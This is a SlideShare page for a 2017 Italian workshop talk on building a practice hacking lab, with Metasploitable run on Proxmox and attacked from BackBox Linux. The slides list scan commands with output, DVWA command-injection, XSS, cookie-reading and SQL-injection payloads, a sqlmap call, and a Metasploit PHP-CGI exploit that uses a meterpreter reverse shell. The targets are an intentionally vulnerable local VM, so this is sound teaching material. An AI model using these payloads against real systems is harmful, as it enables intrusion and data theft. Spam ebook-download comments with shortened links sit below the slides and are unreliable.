Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
HACKING LAB
con ProxMox e Metasploitable
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
$ whoami
Phishing Analysis and Contrast @ D3Lab
Team Member @ Ba...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Hacking Lab
Un laboratorio nella propria infrastruttura di rete ...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
ProxMox
Proxmox VE is a complete open source server virtualizati...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Metasploitable
Metasploitable is an intentionally vulnerable Lin...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
BackBox is a penetration test and security assessment
oriented U...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
Creiamo una nuova Macchina Virtual...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
$ ssh root@IP_PROXMOX
# cd /var/li...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
# qemu-img convert -f vmdk Metaspl...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
bootdisk: ide0
ide0: file=local:102...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
Avviamo la VM
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Virtualizziamo Metasploitable
https://youtu.be/WBsCOjRQKnI
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: nmap
$ nmap 192.168.x.x
Starting Nmap 7.01 ( https://nmap.o...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: nmap
$ sudo nmap -o 192.168.x.x
Starting Nmap 7.01 ( https:...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: Zenmap
$ sudo zenmap
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: Dirsearch
$ dirsearch -e php -u http://192.168.x.x
[22:30:0...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA
http://192.168.x.x/dvwa/ admin:password
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA Command Execution Low
192.168.2.1 ; cat /etc/passwd
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA Command Execution Medium
192.168.2.1 & cat /etc/passwd
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA XSS Reflected Low
<script>alert('Hello World')</script>
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA XSS Reflected Medium
<ScRiPt>alert('Hello World’)</scri...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA XSS Stored Low
<script>document.write(document.cookie)...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA XSS Stored Medium
<ScRiPt>alert("Hello World 2")</scri...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA SQL Injection Low
' or '0'='0
' or '0'='0' union selec...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA SQL Injection Low and SQLMap
sqlmap -u "http://192.168...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: DVWA SQL Injection Medium
0 or 1=1
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: Whatweb
$ whatweb 192.168.x.x
[200] Apache[2.2.8], HTTPServ...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: Metasploit
$ sudo metasploit
# search CVE-2012-1823
# use e...
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Lab: Armitage
>Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna
Q&A
@AndreaDraghetti
Upcoming SlideShare
Loading in …5
×

Hacking Lab con ProxMox e Metasploitable

676 views

Published on

FabLab Bassa Romagna e ImoLUG nell'ambito del gruppo di lavoro su Linux, organizzano una serata dedicata alla Sicurezza Informatica; è un tema attuale, importante, ma molto sottovalutato.

Nella serata illustreremo come è possibile costruire un proprio Hacking Lab per imparare e testare localmente i principali software di IT Security. Sfrutteremo pertanto l'ambiente di virtualizzazione ProxMox per virtualizzare il sistema operativo vulnerabile Metaspoitable, sistema sviluppato dalla nota Radid7. Grazie a BackBox Linux analizzeremo la distribuzione vulnerabile alla ricerca di dettagli e di exploit da sfruttare.

Published in: Technology
  • -- DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT -- ......................................................................................................................... ......................................................................................................................... Download FULL PDF EBOOK here { http://bit.ly/2m6jJ5M } ......................................................................................................................... (Unlimited)
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • accessibility Books Library allowing access to top content, including thousands of title from favorite author, plus the ability to read or download a huge selection of books for your pc or smartphone within minutes.........ACCESS WEBSITE Over for All Ebooks ..... (Unlimited) ......................................................................................................................... Download FULL PDF EBOOK here { http://bit.ly/2m6jJ5M } .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • accessibility Books Library allowing access to top content, including thousands of title from favorite author, plus the ability to read or download a huge selection of books for your pc or smartphone within minutes.........ACCESS WEBSITE Over for All Ebooks ..... (Unlimited) ......................................................................................................................... Download FULL PDF EBOOK here { http://bit.ly/2m6jJ5M } .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THAT BOOKS/FILE INTO AVAILABLE FORMAT - (Unlimited) ......................................................................................................................... ......................................................................................................................... Download FULL PDF EBOOK here { http://bit.ly/2m77EgH } ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... accessibility Books Library allowing access to top content, including thousands of title from favorite author, plus the ability to read or download a huge selection of books for your pc or smartphone within minutes Christian, Classics, Comics, Contemporary, Cookbooks, Art, Biography, Business, Chick Lit, Children's, Manga, Memoir, Music, Science, Science Fiction, Self Help, History, Horror, Humor And Comedy, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download Full EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download EPUB Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... Download doc Ebook here { https://tinyurl.com/y6a5rkg5 } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • Be the first to like this

Hacking Lab con ProxMox e Metasploitable

  1. 1. Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna HACKING LAB con ProxMox e Metasploitable
  2. 2. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna $ whoami Phishing Analysis and Contrast @ D3Lab Team Member @ BackBox Linux
  3. 3. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Hacking Lab Un laboratorio nella propria infrastruttura di rete per allenarsi in assoluta legalità sulle tecniche sfruttate nel Hacking.
  4. 4. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna ProxMox Proxmox VE is a complete open source server virtualization management software. It is based on KVM virtualization and container-based virtualization and manages KVM virtual machines, Linux containers (LXC), storage, virtualized networks, and HA clusters www.proxmox.com
  5. 5. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Metasploitable Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. https://sourceforge.net/projects/metasploitable/
  6. 6. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna BackBox is a penetration test and security assessment oriented Ubuntu-based Linux distribution providing a network and informatic systems analysis toolkit. BackBox desktop environment includes a complete set of tools required for ethical hacking and security testing. BackBox Linux backbox.org
  7. 7. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable Creiamo una nuova Macchina Virtuale dal Pannello Web Ricordatevelo
  8. 8. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable
  9. 9. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable
  10. 10. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable
  11. 11. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable
  12. 12. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable
  13. 13. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable
  14. 14. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable $ ssh root@IP_PROXMOX # cd /var/lib/vz/images
 # mkdir 102 (ID del VM che abbiamo prima creato) # cd 102
 # wget http://bit.ly/metasploitable -O metasploitable.zip
 # unzip metasploitable.zip # cd Metasploitable2-Linux/ # mv Metasploitable.vmdk ../ # rm metasploitable.zip ./Metasploitable2-Linux/ -rf
  15. 15. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable # qemu-img convert -f vmdk Metasploitable.vmdk -O qcow2 …Metasploitable.qcow2 # nano /etc/pve/qemu-server/102.conf
  16. 16. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable bootdisk: ide0 ide0: file=local:102/Metasploitable.qcow2,size=8G
  17. 17. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable Avviamo la VM
  18. 18. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Virtualizziamo Metasploitable https://youtu.be/WBsCOjRQKnI
  19. 19. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: nmap $ nmap 192.168.x.x Starting Nmap 7.01 ( https://nmap.org ) Nmap scan report for 192.168.2.128 Host is up (0.0071s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
  20. 20. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: nmap $ sudo nmap -o 192.168.x.x Starting Nmap 7.01 ( https://nmap.org ) Nmap scan report for 192.168.2.128 Host is up (0.0071s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec … … … Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.24 - 2.6.25 Network Distance: 2 hops Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
  21. 21. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: Zenmap $ sudo zenmap
  22. 22. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: Dirsearch $ dirsearch -e php -u http://192.168.x.x [22:30:01] 200 - 112KB - /doc/ [22:30:01] 302 - 0B - /dvwa/ -> login.php [22:30:03] 200 - 891B - /index.php [22:30:05] 200 - 24KB - /mutillidae/ [22:30:05] 200 - 4KB - /phpMyAdmin/ [22:30:06] 200 - 48KB - /phpinfo.php [22:30:07] 403 - 300B - /server-status/ [22:30:08] 200 - 884B - /test/
  23. 23. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA http://192.168.x.x/dvwa/ admin:password
  24. 24. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA Command Execution Low 192.168.2.1 ; cat /etc/passwd
  25. 25. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA Command Execution Medium 192.168.2.1 & cat /etc/passwd
  26. 26. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA XSS Reflected Low <script>alert('Hello World')</script>
  27. 27. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA XSS Reflected Medium <ScRiPt>alert('Hello World’)</script> <script language="javascript">alert('Hello World’)</script> <img src=x onerror="alert('Hello World')">
  28. 28. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA XSS Stored Low <script>document.write(document.cookie)</script> <iframe src=“http://www.makerstation.it/"></iframe> <meta http-equiv="refresh" content="10; url=http:// www.makerstation.it/">
  29. 29. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA XSS Stored Medium <ScRiPt>alert("Hello World 2")</script>
  30. 30. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA SQL Injection Low ' or '0'='0 ' or '0'='0' union select null, version() # ' or '0'='0' union select null, database() #
  31. 31. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA SQL Injection Low and SQLMap sqlmap -u "http://192.168.x.x/dvwa/vulnerabilities/sqli/" -- forms --cookie="security=low; PHPSESSID=xyz"
  32. 32. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: DVWA SQL Injection Medium 0 or 1=1
  33. 33. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: Whatweb $ whatweb 192.168.x.x [200] Apache[2.2.8], HTTPServer[Ubuntu Linux][Apache/2.2.8 (Ubuntu) DAV/2], IP[192.168.x.x], PHP[5.2.4-2ubuntu5.10], Title[Metasploitable2 - Linux], WebDAV[2], X-Powered- By[PHP/5.2.4-2ubuntu5.10] $ nmap -sV --script=http-php-version 192.168.x.x |_Version from header x-powered-by: PHP/5.2.4-2 |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
  34. 34. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: Metasploit $ sudo metasploit # search CVE-2012-1823 # use exploit/multi/http/php_cgi_arg_injection # show options # set RHOST 192.168.x.x
 # set PAYLOAD php/meterpreter/reverse_tcp # exploit
  35. 35. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Lab: Armitage
  36. 36. >Andrea Draghetti - 23 Maggio 2017 - FabLab Bassa Romagna Q&A @AndreaDraghetti

×